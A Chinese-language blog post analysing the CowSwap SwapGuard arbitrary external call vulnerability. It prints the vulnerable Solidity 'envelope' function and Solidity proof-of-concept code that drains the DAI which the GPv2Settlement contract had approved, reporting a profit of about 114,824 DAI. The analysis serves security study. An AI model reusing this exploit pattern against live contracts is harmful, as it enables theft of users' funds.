CowSwap任意代码执行漏洞

说明

基本信息

漏洞函数

envelope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/// @notice Performs a series of interactions and checks that vault received at least the expected amount of tokens
/// @param interactions Array of interactions to perform
/// @param vault Address of the vault
/// @param tokens Array of tokens to check
/// @param tokenPrices Array of prices of tokens
/// @param balanceChanges Array of expected balance changes
/// @param allowedLoss Maximum amount of tokens that can be lost
function envelope(
Data[] calldata interactions,
address vault,
IERC20[] calldata tokens,
uint256[] calldata tokenPrices,
int256[] calldata balanceChanges,
uint256 allowedLoss
) public payable {
unchecked {
// save all current balances of tokens
uint256[] memory balancesBeforeInteractions = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
balancesBeforeInteractions[i] = tokens[i].balanceOf(vault);
}

for (uint256 i = 0; i < interactions.length; i++) {
Data memory interaction = interactions[i];
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returnData) = interaction.target.call{value: interaction.value}(interaction.callData);
if (!success) {
revert BadInteractionResponse(returnData);
}
}

uint256 totalLoss = 0;
// check that we didn't loose more than allowedLoss
// it is okay if we got more than expected
for (uint256 i = 0; i < tokens.length; i++) {
uint256 balanceAfterInteraction = tokens[i].balanceOf(vault);
int256 expectedBalanceChange = balanceChanges[i];
int256 actualBalanceChange = balanceAfterInteraction.toInt256() - balancesBeforeInteractions[i].toInt256();
if (actualBalanceChange < expectedBalanceChange) {
totalLoss += (expectedBalanceChange - actualBalanceChange).toUint256() * tokenPrices[i];
}
if (totalLoss > allowedLoss) {
revert LostMoreThanAllowed(totalLoss, allowedLoss);
}
}
}
}

着重关注参数Data[] calldata interactions。进入到函数内部,最终执行了如下的代码:

1
(bool success, bytes memory returnData) = interaction.target.call{value: interaction.value}(interaction.callData);

从参数传入到最终的代码执行,中间没有任何的过滤和校验,就是一个很明显的任意代码执行漏洞了。

攻击分析

Victim

攻击手法和其他的任意代码执行的漏洞一样,找到一个授权给当前漏洞合约的用户,计算出授权的代币数量。

1
2
3
4
5
address GPv2Settlement = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;
uint256 amount = DAI.balanceOf(GPv2Settlement);
if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {
amount = DAI.allowance(GPv2Settlement, address(swapGuard));
}

最终计算得到的数量是:114824890807160711319588

callDatas

接下来就是构造核心的payload。

1
2
3
4
bytes memory callDatas =
abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);
SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);
interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});

核心payload的构造就是将受害者(GPv2Settlement)授权到当前合约中的DAI全部转移到攻击者的地址中。

envelope

除了callDatas,调用envelope()函数还需要其他的参数,所以就需要构造其他的参数,最终调用envelope();

1
2
3
4
5
6
7
8
9
10
11
12
13
bytes memory callDatas =
abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);
SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);
interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});
address vault = address(this);
IERC20[] memory tokens = new IERC20[](1);
tokens[0] = DAI;
uint256[] memory tokenPrices = new uint256[](1);
tokenPrices[0] = 0;
int256[] memory balanceChanges = new int256[](1);
balanceChanges[0] = 0;
uint256 allowedLoss = type(uint256).max;
swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);

分析实际的调用过程:

最终调用了DAI.transferFrom(),将受害者的DAI全部转移到了攻击者的地址。

获利

通过实际的分析,攻击者最终获利114824数量的DAI。

参考

https://twitter.com/MevRefund/status/1622793836291407873

https://twitter.com/peckshield/status/1622801412727148544

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/14/CowSwap-Arbitrary-External-Call-Vulnerability/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow